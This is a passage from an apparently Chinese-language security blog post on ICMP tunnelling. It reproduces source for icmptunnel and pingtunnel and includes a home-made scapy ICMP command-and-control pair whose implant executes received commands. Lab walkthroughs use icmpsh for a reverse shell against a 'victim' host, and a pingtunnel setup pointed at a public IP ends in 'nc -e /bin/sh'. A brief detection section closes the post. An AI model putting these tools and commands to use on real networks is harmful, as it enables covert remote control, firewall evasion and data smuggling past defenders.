exit(EXIT_FAILURE);
}
if (pid==0) {
// Child process, run the script
exit(execv(path, args));
}
else {
// Parent process
waitpid(pid, &status, 0);
if (WEXITSTATUS(status) == 0) {
// Script executed correctly
printf("[DEBUG] Script ran successfully\n");
}
else {
// Some error
printf("[DEBUG] Error in running script\n");
}
}
}
/**
* Function to run the tunnel
*/
void run_tunnel(char *dest, int server)
{
struct icmp_packet packet;
int tun_fd, sock_fd;
fd_set fs;
tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI);
printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server);
printf("[DEBUG] Opening ICMP socket\n");
sock_fd = open_icmp_socket();
if (server) {
printf("[DEBUG] Binding ICMP socket\n");
bind_icmp_socket(sock_fd);
}
configure_network(server);
while (1) {
FD_ZERO(&fs);
FD_SET(tun_fd, &fs);
FD_SET(sock_fd, &fs);
select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(tun_fd, &fs)) {
printf("[DEBUG] Data needs to be readed from tun device\n");
// Reading data from tun device and sending ICMP packet
printf("[DEBUG] Preparing ICMP packet to be sent\n");
// Preparing ICMP packet to be sent
memset(&packet, 0, sizeof(struct icmp_packet));
printf("[DEBUG] Destination address: %s\n", dest);
if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){
perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n");
close(tun_fd);
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);
if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){
perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n");
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.dest_addr, dest, strlen(dest) + 1);
if(server) {
set_reply_type(&packet);
}
else {
set_echo_type(&packet);
}
packet.payload = calloc(MTU, sizeof(uint8_t));
if (packet.payload == NULL){
perror("No memory available\n");
exit(EXIT_FAILURE);
}
packet.payload_size = tun_read(tun_fd, packet.payload, MTU);
if(packet.payload_size == -1) {
perror("Error while reading from tun device\n");
exit(EXIT_FAILURE);
}
printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload);
// Sending ICMP packet
send_icmp_packet(sock_fd, &packet);
free(packet.payload);
}
if (FD_ISSET(sock_fd, &fs)) {
printf("[DEBUG] Received ICMP packet\n");
// Reading data from remote socket and sending to tun device
// Getting ICMP packet
memset(&packet, 0, sizeof(struct icmp_packet));
receive_icmp_packet(sock_fd, &packet);
printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);
// Writing out to tun device
tun_write(tun_fd, packet.payload, packet.payload_size);
printf("[DEBUG] Src address being copied: %s\n", packet.src_addr);
strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);
free(packet.payload);
}
}
}
test_client.c
#include "icmp.h"
#include <string.h>
int main()
{
struct icmp_packet packet;
char *src_ip;
char *dest_ip;
int sock_fd;
src_ip = "127.0.0.2";
dest_ip = "127.0.0.1";
strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);
strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);
set_reply_type(&packet);
packet.payload = "ZZZZZZ";
packet.payload_size = strlen(packet.payload);
sock_fd = open_icmp_socket();
send_icmp_packet(sock_fd, &packet);
close_icmp_socket(sock_fd);
}
test_server.c
#include "icmp.h"
#include <stdio.h>
#include <string.h>
int main()
{
struct icmp_packet packet;
int sock_fd;
sock_fd = open_icmp_socket();
bind_icmp_socket(sock_fd);
printf("server initialized\n");
while(1)
{
receive_icmp_packet(sock_fd, &packet);
printf("%s\n", packet.src_addr);
printf("%s\n", packet.dest_addr);
printf("%d\n", packet.type);
printf("%s\n", packet.payload);
}
close_icmp_socket(sock_fd);
}
icmptunnel.c
/**
* icmp_tunnel.c
*/
#include "tunnel.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define ARG_SERVER_MODE "-s"
#define ARG_CLIENT_MODE "-c"
void usage()
{
printf("Wrong argument\n");
fprintf(stdout, "usage: icmptunnel [-s serverip] | [-c clientip]\n");
}
int main(int argc, char *argv[])
{
char ip_addr[100] = {0,};
if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) {
usage();
exit(EXIT_FAILURE);
}
memcpy(ip_addr, argv[2], strlen(argv[2]) + 1);
if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) {
run_tunnel(ip_addr, 1);
}
else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) {
run_tunnel(ip_addr, 0);
}
else {
usage();
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
(2)用法
服务端
-
安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.git make
-
禁用ICMP echo回复,防止内核自己对ping包进行响应
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
-
启动隧道(root权限)
[sudo] ./icmptunnel -s 10.0.1.1
-
观察路由
route -n
攻击端
-
安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.git make
-
禁用ICMP echo回复,防止内核自己对ping包进行响应
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
-
修改client.sh
route add -host [server-IP] gw [client-IP] dev eth0
-
建立隧道
[sudo] ./icmptunnel -c [server-IP]
3、pingtunnel
github:https://github.com/esrrhs/pingtunnel
持续更新,TCP、UDP、socks5 over ICMP,速度快,连接稳定,跨平台,支持大多数具有libpcap的操作系统,从版本0.7开始,ptunnel也可以在装WinPcap的Windows上编译,client模式不需要管理员权限即可正常使用,推荐使用
(1)源码
main.go
package main
import (
"flag"
"fmt"
"github.com/esrrhs/go-engine/src/common"
"github.com/esrrhs/go-engine/src/geoip"
"github.com/esrrhs/go-engine/src/loggo"
"github.com/esrrhs/go-engine/src/pingtunnel"
"net"
"net/http"
_ "net/http/pprof"
"strconv"
"time"
)
var usage = `
通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商*TCP/UDP流量。
By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.
Usage:
// server
pingtunnel -type server
// client, Forward udp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
// client, Forward tcp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
// client, Forward sock5, implicitly open tcp, so no target server is needed
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1
-type 服务器或者客户端
client or server
服务器参数server param:
-key 设置的密码,默认0
Set password, default 0
-nolog 不写日志文件,只打印标准输出,默认0
Do not write log files, only print standard output, default 0 is off
-noprint 不打印屏幕输出,默认0
Do not print standard output, default 0 is off
-loglevel 日志文件等级,默认info
log level, default is info
-maxconn 最大连接数,默认0,不受限制
the max num of connections, default 0 is no limit
-maxprt server最大处理线程数,默认100
max process thread in server, default 100
-maxprb server最大处理线程buffer数,默认1000
max process thread's buffer in server, default 1000
-conntt server发起连接到目标地址的超时时间,默认1000ms
The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.
客户端参数client param:
-l 本地的地址,发到这个端口的流量将转发到服务器
Local address, traffic sent to this port will be forwarded to the server
-s 服务器的地址,流量将通过隧道转发到这个服务器
The address of the server, the traffic will be forwarded to this server through the tunnel
-t 远端服务器转发的目的地址,流量将转发到这个地址
Destination address forwarded by the remote server, traffic will be forwarded to this address
-timeout 本地记录连接超时的时间,单位是秒,默认60s
The time when the local record connection timed out, in seconds, 60 seconds by default
-key 设置的密码,默认0
Set password, default 0
-tcp 设置是否转发tcp,默认0
Set the switch to forward tcp, the default is 0
-tcp_bs tcp的发送接收缓冲区大小,默认1MB
Tcp send and receive buffer size, default 1MB
-tcp_mw tcp的最大窗口,默认20000
The maximum window of tcp, the default is 20000
-tcp_rst tcp的超时发送时间,默认400ms
Tcp timeout resend time, default 400ms
-tcp_gz 当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0
-tcp_stat 打印tcp的监控,默认0
Print tcp connection statistic, default 0 is off
-nolog 不写日志文件,只打印标准输出,默认0
Do not write log files, only print standard output, default 0 is off
-noprint 不打印屏幕输出,默认0
Do not print standard output, default 0 is off
-loglevel 日志文件等级,默认info
log level, default is info
-sock5 开启sock5转发,默认0
Turn on sock5 forwarding, default 0 is off
-profile 在指定端口开启性能检测,默认0不开启
Enable performance detection on the specified port. The default 0 is not enabled.
-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.
-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
`
func main() {
defer common.CrashLog()
t := flag.String("type", "", "client or server")
listen := flag.String("l", "", "listen addr")
target := flag.String("t", "", "target addr")
server := flag.String("s", "", "server addr")
timeout := flag.Int("timeout", 60, "conn timeout")
key := flag.Int("key", 0, "key")
tcpmode := flag.Int("tcp", 0, "tcp mode")
tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size")
tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win")
tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms")
tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress")
nolog := flag.Int("nolog", 0, "write log file")
noprint := flag.Int("noprint", 0, "print stdout")
tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat")
loglevel := flag.String("loglevel", "info", "log level")
open_sock5 := flag.Int("sock5", 0, "sock5 mode")
maxconn := flag.Int("maxconn", 0, "max num of connections")
max_process_thread := flag.Int("maxprt", 100, "max process thread in server")
max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server")
profile := flag.Int("profile", 0, "open profile")
conntt := flag.Int("conntt", 1000, "the connect call's timeout")
s5filter := flag.String("s5filter", "", "sock5 filter")
s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file")
flag.Usage = func() {
fmt.Printf(usage)
}
flag.Parse()
if *t != "client" && *t != "server" {
flag.Usage()
return
}
if *t == "client" {
if len(*listen) == 0 || len(*server) == 0 {
flag.Usage()
return
}
if *open_sock5 == 0 && len(*target) == 0 {
flag.Usage()
return
}
if *open_sock5 != 0 {
*tcpmode = 1
}
}
if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID {
fmt.Println("set tcp win to big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10))
return
}
level := loggo.LEVEL_INFO
if loggo.NameToLevel(*loglevel) >= 0 {
level = loggo.NameToLevel(*loglevel)
}
loggo.Ini(loggo.Config{
Level: level,
Prefix: "pingtunnel",
MaxDay: 3,
NoLogFile: *nolog > 0,
NoPrint: *noprint > 0,
})
loggo.Info("start...")
loggo.Info("key %d", *key)
if *t == "server" {
s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt)
if err != nil {
loggo.Error("ERROR: %s", err.Error())
return
}
loggo.Info("Server start")
err = s.Run()
if err != nil {
loggo.Error("Run ERROR: %s", err.Error())
return
}
} else if *t == "client" {
loggo.Info("type %s", *t)
loggo.Info("listen %s", *listen)
loggo.Info("server %s", *server)
loggo.Info("target %s", *target)
if *tcpmode == 0 {
*tcpmode_buffersize = 0
*tcpmode_maxwin = 0
*tcpmode_resend_timems = 0
*tcpmode_compress = 0
*tcpmode_stat = 0
}
if len(*s5filter) > 0 {
err := geoip.Load(*s5ftfile)
if err != nil {
loggo.Error("Load Sock5 ip file ERROR: %s", err.Error())
return
}
}
filter := func(addr string) bool {
if len(*s5filter) <= 0 {
return true
}
taddr, err := net.ResolveTCPAddr("tcp", addr)
if err != nil {
return false
}
ret, err := geoip.GetCountryIsoCode(taddr.IP.String())
if err != nil {
return false
}
if len(ret) <= 0 {
return false
}
return ret != *s5filter
}
c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key,
*tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress,
*tcpmode_stat, *open_sock5, *maxconn, &filter)
if err != nil {
loggo.Error("ERROR: %s", err.Error())
return
}
loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(),
c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr())
err = c.Run()
if err != nil {
loggo.Error("Run ERROR: %s", err.Error())
return
}
} else {
return
}
if *profile > 0 {
go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil)
}
for {
time.Sleep(time.Hour)
}
}
pack.sh
#! /bin/bash
#set -x
NAME="pingtunnel"
export GO111MODULE=off
#go tool dist list
build_list=$(go tool dist list)
rm pack -rf
rm pack.zip -f
mkdir pack
for line in $build_list; do
os=$(echo "$line" | awk -F"/" '{print $1}')
arch=$(echo "$line" | awk -F"/" '{print $2}')
echo "os="$os" arch="$arch" start build"
if [ $os == "android" ]; then
continue
fi
if [ $os == "ios" ]; then
continue
fi
if [ $arch == "wasm" ]; then
continue
fi
CGO_ENABLED=0 GOOS=$os GOARCH=$arch go build -ldflags="-s -w"
if [ $? -ne 0 ]; then
echo "os="$os" arch="$arch" build fail"
exit 1
fi
if [ $os = "windows" ]; then
zip ${NAME}_"${os}"_"${arch}"".zip" $NAME".exe"
if [ $? -ne 0 ]; then
echo "os="$os" arch="$arch" zip fail"
exit 1
fi
mv ${NAME}_"${os}"_"${arch}"".zip" pack/
rm $NAME".exe" -f
else
zip ${NAME}_"${os}"_"${arch}"".zip" $NAME
if [ $? -ne 0 ]; then
echo "os="$os" arch="$arch" zip fail"
exit 1
fi
mv ${NAME}_"${os}"_"${arch}"".zip" pack/
rm $NAME -f
fi
echo "os="$os" arch="$arch" done build"
done
zip pack.zip pack/ -r
echo "all done"
(2)用法
服务端(无法ping通另一台)
-
安装
sudo wget (最新release的下载链接) sudo unzip pingtunnel_linux64.zip
-
(可选)关闭系统默认的 ping
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
-
建立隧道
sudo ./pingtunnel -type server
客户端(可以ping通另一台)
-
准备好一个具有公网 IP的服务器,假定域名或者公网 ip 是
www.yourserver.com
-
安装
sudo wget (最新release的下载链接) sudo unzip pingtunnel_linux64.zip
-
转发TCP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
4、简单DIY
控制端:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/1/6 2:52 PM
# @File : icmp_c2.py
from scapy.all import *
def main():
while True:
command = raw_input('# Enter command: ')
pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command
send(pinger)
rx = sniff(count=1, timeout=2)
print(rx[0][Raw].load.decode('utf-8'))
if __name__ == "__main__":
main()
被控端:
#!/usr/bin/env python
import os
from scapy.all import *
def main():
while True:
# wait for the ICMP message containing the command from the C2 server
# to be received
rx = sniff(filter="icmp", count=1)
# strip down the packet to the payload itself
var = rx[0][Raw].load.decode('utf-8')
# run the command and save the result
res = os.popen(var).read()
# build the ICMP packet with the result as the payload
send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__":
main()
然后一个可供参考的Go版发送ICMP包
package main
import (
"fmt"
"net"
"os"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
)
var Data = []byte("I'm hacker xi4okv!")
type ping struct {
Addr string
Conn net.Conn
Data []byte
}
func main() {
ping,err := Run("10.1.33.222", Data)
if err != nil{
fmt.Println(err)
}
ping.Ping()
}
func MarshalMsg(req int, data []byte) ([]byte, error) {
xid, xseq := os.Getpid()&0xffff, req
wm := icmp.Message{
Type: ipv4.ICMPTypeEcho, Code: 0,
Body: &icmp.Echo{
ID: xid, Seq: xseq,
Data: data,
},
}
return wm.Marshal(nil)
}
func Run(addr string, data []byte) (*ping, error) {
wb, err := MarshalMsg(1, data)
if err != nil {
return nil, err
}
if err != nil {
return nil, err
}
return &ping{Data: wb, Addr: addr}, nil
}
func (self *ping) Dail() (err error) {
self.Conn, err = net.Dial("ip4:icmp", self.Addr)
if err != nil {
return err
}
return nil
}
func (self *ping) Ping() {
if err := self.Dail(); err != nil {
fmt.Println("ICMP error")
return
}
fmt.Println("Start ping from ", self.Conn.LocalAddr())
sendPingMsg(self.Conn, self.Data)
}
func sendPingMsg(c net.Conn, wb []byte) {
if _, err := c.Write(wb); err != nil {
print(err)
}
}
三、ICMP隧道应用
1、icmpsh
(1)环境
攻击机IP:192.168.10.234 (kali linux)
受害机IP:192.168.10.155 (windows10)
(2)实践
kali上
- 安装
git clone https://github.com/inquisb/icmpsh.git
- 关闭ping回复,防止内核自己对ping包进行响应
sysctl -w net.ipv4.icmp_echo_ignore_all=1
- 监听
python icmpsh_m.py 192.168.10.234 192.168.10.155
windows上
- 安装
git clone https://github.com/inquisb/icmpsh.git
- 关闭ping回复,防止内核自己对ping包进行响应
sysctl -w net.ipv4.icmp_echo_ignore_all=1
- 反弹shell
icmpsh.exe -t 192.168.10.155
抓包
2、icmptunnel
(1)环境
客户端IP:192.168.10.234 (kali linux)
服务端IP:192.168.10.107 (kali linux)
(2)实践
受害机(服务端)
-
安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.git make
-
禁用ICMP echo回复,防止内核自己对ping包进行响应
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
-
启动隧道(root权限)
[sudo] ./icmptunnel -s 10.0.0.1
-
观察路由
route -n
攻击端(客户端)
-
安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.git make
-
禁用ICMP echo回复,防止内核自己对ping包进行响应
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
-
修改client.sh
route add -host 192.168.10.107 gw 192.168.10.1 dev eth0
-
建立隧道
[sudo] ./icmptunnel -c 192.168.10.107
-
观察路由
route -n
抓包
icmp包异常的多,且长度也很长,有些还可以看到有http的请求信息
3、pingtunnel
(1)环境
这里 redis 其实应该是没有公网 IP
redis 可以 ping 通 attack 机器
attack 机器无法 ping 通 redis 机器
(2)实践
attack机器上(作为服务端)
sudo wget https://github.com/esrrhs/pingtunnel/releases/download/2.2/pingtunnel_linux64.zip
sudo unzip pingtunnel_linux64.zip
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all #关闭系统默认的 ping(可选)
sudo ./pingtunnel -type server -key 457864 #设置密码
redis 机器上(作为客户端)
sudo wget https://github.com/esrrhs/pingtunnel/releases/download/2.2/pingtunnel_linux64.zip
sudo unzip pingtunnel_linux64.zip
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all #关闭系统默认的 ping(可选)
pingtunnel.exe -type client -l :4455 -s 47.244.96.168 -t 47.244.96.168:8888 -tcp 1 -key 457864 #监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 47.244.96.168 服务器的 8888 端口
至此隧道建立成功,可以比如用nc
- attack:
busybox nc -lp 8888 -e /bin/sh
- redis:
nc.exe -nv 127.0.0.1 4455
注:如果想把它作为稳定的隧道去执行命令,不太现实,偶尔用来传个东西,还可以
四、检测和防御
1、数据包的总数
检测同一来源 ICMP 数据包的数量
一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包
2、payload内容
寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包
3、数据包过大
注意那些 ICMP 数据包中 payload 大于 64 比特的数据包
当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。
4、检查ICMP数据包的协议标签
例如icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征
5、检查type
ICMP隧道存在一些type为13/15/17的带payload的畸形数据包
一篇很细致的文章:基于统计分析的ICMP隧道检测方法与实现
结语
学习了ICMP隧道,源码还有待深入看看,然后思考攻防相关
在实战中,可能会由于过大的流量,过于明显的特征被发现,且隧道不稳定
参考:
- 完全理解icmp协议
- ICMP隧道通信原理与通信特征
- 利用ICMP进行命令控制和隧道传输
- 初探ICMP隧道
- 利用 ICMP 隧道穿透防火墙
- 网络层隧道之 ICMP 隧道
- 基于统计分析的ICMP隧道检测方法与实现